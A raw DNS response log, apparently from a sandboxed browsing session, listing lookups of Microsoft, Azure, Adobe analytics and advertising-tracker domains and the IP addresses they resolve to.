Dec 29, 2024 13:55:06.095328093 CET	1.1.1.1	192.168.2.4	0x2e38	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:06.393155098 CET	1.1.1.1	192.168.2.4	0x8fde	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:06.393155098 CET	1.1.1.1	192.168.2.4	0x8fde	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:06.393155098 CET	1.1.1.1	192.168.2.4	0x8fde	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:16.923331022 CET	1.1.1.1	192.168.2.4	0xbea7	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:16.924243927 CET	1.1.1.1	192.168.2.4	0x347d	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:16.924243927 CET	1.1.1.1	192.168.2.4	0x347d	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:16.924243927 CET	1.1.1.1	192.168.2.4	0x347d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:16.924243927 CET	1.1.1.1	192.168.2.4	0x347d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:17.035322905 CET	1.1.1.1	192.168.2.4	0xff5	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.109858990 CET	1.1.1.1	192.168.2.4	0x83b8	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.180980921 CET	1.1.1.1	192.168.2.4	0xc01a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.180980921 CET	1.1.1.1	192.168.2.4	0xc01a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:17.205537081 CET	1.1.1.1	192.168.2.4	0xdf4f	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.229788065 CET	1.1.1.1	192.168.2.4	0x730c	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.229788065 CET	1.1.1.1	192.168.2.4	0x730c	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.546372890 CET	1.1.1.1	192.168.2.4	0x2dc8	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.638830900 CET	1.1.1.1	192.168.2.4	0x4b8d	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.638830900 CET	1.1.1.1	192.168.2.4	0x4b8d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:17.638830900 CET	1.1.1.1	192.168.2.4	0x4b8d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.143023968 CET	1.1.1.1	192.168.2.4	0x4148	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.143112898 CET	1.1.1.1	192.168.2.4	0xdd27	No error (0)	emerald-prod-asgth3agbdfbhpgz.b02.azurefd.net	shed.dual-low.s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.143112898 CET	1.1.1.1	192.168.2.4	0xdd27	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.143112898 CET	1.1.1.1	192.168.2.4	0xdd27	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.919715881 CET	1.1.1.1	192.168.2.4	0x635e	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.919715881 CET	1.1.1.1	192.168.2.4	0x635e	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.919715881 CET	1.1.1.1	192.168.2.4	0x635e	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.234.207	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.126.164	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.253.40.242	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.255.164.82	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.241.209.94	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.208.198.158	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:24.923717022 CET	1.1.1.1	192.168.2.4	0xb5c2	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.73.122.105	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.097912073 CET	1.1.1.1	192.168.2.4	0xefba	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.099184990 CET	1.1.1.1	192.168.2.4	0x4f54	No error (0)	cm.everesttech.net	cm.everesttech.net.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239336967 CET	1.1.1.1	192.168.2.4	0xf285	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239336967 CET	1.1.1.1	192.168.2.4	0xf285	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239336967 CET	1.1.1.1	192.168.2.4	0xf285	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	mscom.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.155.166.119	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.200.255	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.51.91	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.121.244	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.214.247.153	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.229.91.192	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.126.164	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239692926 CET	1.1.1.1	192.168.2.4	0x587f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.192.25	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239980936 CET	1.1.1.1	192.168.2.4	0x198b	No error (0)	mscom.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239980936 CET	1.1.1.1	192.168.2.4	0x198b	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:27.239980936 CET	1.1.1.1	192.168.2.4	0x198b	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.154.234.207	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.73.122.105	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.253.40.242	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.255.164.82	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.241.209.94	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.89.170	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.210.126.164	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.052855968 CET	1.1.1.1	192.168.2.4	0x2b4f	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.208.198.158	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.053813934 CET	1.1.1.1	192.168.2.4	0xdfde	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.053813934 CET	1.1.1.1	192.168.2.4	0xdfde	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.053813934 CET	1.1.1.1	192.168.2.4	0xdfde	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.133574963 CET	1.1.1.1	192.168.2.4	0x6438	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.147528887 CET	1.1.1.1	192.168.2.4	0x16a1	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:28.147528887 CET	1.1.1.1	192.168.2.4	0x16a1	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.147528887 CET	1.1.1.1	192.168.2.4	0x16a1	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:28.147528887 CET	1.1.1.1	192.168.2.4	0x16a1	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.492767096 CET	1.1.1.1	192.168.2.4	0x8901	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.222	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.492767096 CET	1.1.1.1	192.168.2.4	0x8901	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.27	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.492767096 CET	1.1.1.1	192.168.2.4	0x8901	No error (0)	msftenterprise.sc.omtrdc.net		63.140.62.17	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.adnxs.com	xandr-g-geo.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.172.123	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.171.53	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.171.85	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.171.149	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.171.52	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.173.215	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.563549995 CET	1.1.1.1	192.168.2.4	0xcdc8	No error (0)	ib.anycast.adnxs.com		37.252.171.21	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:29.802773952 CET	1.1.1.1	192.168.2.4	0x6c2b	No error (0)	idsync.rlcdn.com		35.244.154.8	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:30.506062031 CET	1.1.1.1	192.168.2.4	0xcff	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:30.506062031 CET	1.1.1.1	192.168.2.4	0xcff	No error (0)	adobetarget.data.adobedc.net		66.235.152.156	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:30.506062031 CET	1.1.1.1	192.168.2.4	0xcff	No error (0)	adobetarget.data.adobedc.net		66.235.152.221	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:30.506062031 CET	1.1.1.1	192.168.2.4	0xcff	No error (0)	adobetarget.data.adobedc.net		66.235.152.225	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:30.506279945 CET	1.1.1.1	192.168.2.4	0x5a3d	No error (0)	microsoftmscompoc.tt.omtrdc.net	adobetarget.data.adobedc.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:30.817430019 CET	1.1.1.1	192.168.2.4	0x68c5	No error (0)	cm.g.doubleclick.net		172.217.17.34	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:33.302649975 CET	1.1.1.1	192.168.2.4	0xe682	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:33.302649975 CET	1.1.1.1	192.168.2.4	0xe682	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:33.302649975 CET	1.1.1.1	192.168.2.4	0xe682	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:33.562407017 CET	1.1.1.1	192.168.2.4	0x526f	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:33.562407017 CET	1.1.1.1	192.168.2.4	0x526f	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.241.209.94	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.249.77.207	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.19.204.64	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		108.128.172.10	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.76.51.91	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.212.200.255	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.255.164.82	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.019368887 CET	1.1.1.1	192.168.2.4	0xa43d	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.211.33.202	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:34.024198055 CET	1.1.1.1	192.168.2.4	0xc994	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.024198055 CET	1.1.1.1	192.168.2.4	0xc994	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.024198055 CET	1.1.1.1	192.168.2.4	0xc994	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.531124115 CET	1.1.1.1	192.168.2.4	0xca25	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:34.532629967 CET	1.1.1.1	192.168.2.4	0xef88	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.283926010 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.283926010 CET	1.1.1.1	192.168.2.4	0x80b3	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.284169912 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	analytics.twitter.com	ads.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.284169912 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	ads.twitter.com	s.twitter.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.284169912 CET	1.1.1.1	192.168.2.4	0xf686	No error (0)	s.twitter.com		104.244.42.67	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:35.437346935 CET	1.1.1.1	192.168.2.4	0xc458	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:35.460858107 CET	1.1.1.1	192.168.2.4	0x79cb	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.145097017 CET	1.1.1.1	192.168.2.4	0x161e	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.145097017 CET	1.1.1.1	192.168.2.4	0x161e	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.145920038 CET	1.1.1.1	192.168.2.4	0xa9b7	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.145920038 CET	1.1.1.1	192.168.2.4	0xa9b7	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.221879959 CET	1.1.1.1	192.168.2.4	0xdd9f	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.221879959 CET	1.1.1.1	192.168.2.4	0xdd9f	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.222214937 CET	1.1.1.1	192.168.2.4	0x712f	No error (0)	idpix.media6degrees.com	idpix.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:36.222214937 CET	1.1.1.1	192.168.2.4	0x712f	No error (0)	map.media6degrees.com	map.media6degrees.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.019948959 CET	1.1.1.1	192.168.2.4	0x1e00	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.019948959 CET	1.1.1.1	192.168.2.4	0x1e00	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.019948959 CET	1.1.1.1	192.168.2.4	0x1e00	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:37.020396948 CET	1.1.1.1	192.168.2.4	0x6202	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.725682020 CET	1.1.1.1	192.168.2.4	0x4fd5	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.725682020 CET	1.1.1.1	192.168.2.4	0x4fd5	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.730921984 CET	1.1.1.1	192.168.2.4	0xa343	No error (0)	rtd-tm.everesttech.net	rtd.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:37.730921984 CET	1.1.1.1	192.168.2.4	0xa343	No error (0)	rtd.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 29, 2024 13:55:41.500004053 CET	1.1.1.1	192.168.2.4	0x4e4c	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:41.500004053 CET	1.1.1.1	192.168.2.4	0x4e4c	No error (0)	match.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:41.500004053 CET	1.1.1.1	192.168.2.4	0x4e4c	No error (0)	match.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
Dec 29, 2024 13:55:41.500004053 CET	1.1.1.1	192.168.2.4	0x4e4c	No error (0)	match.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
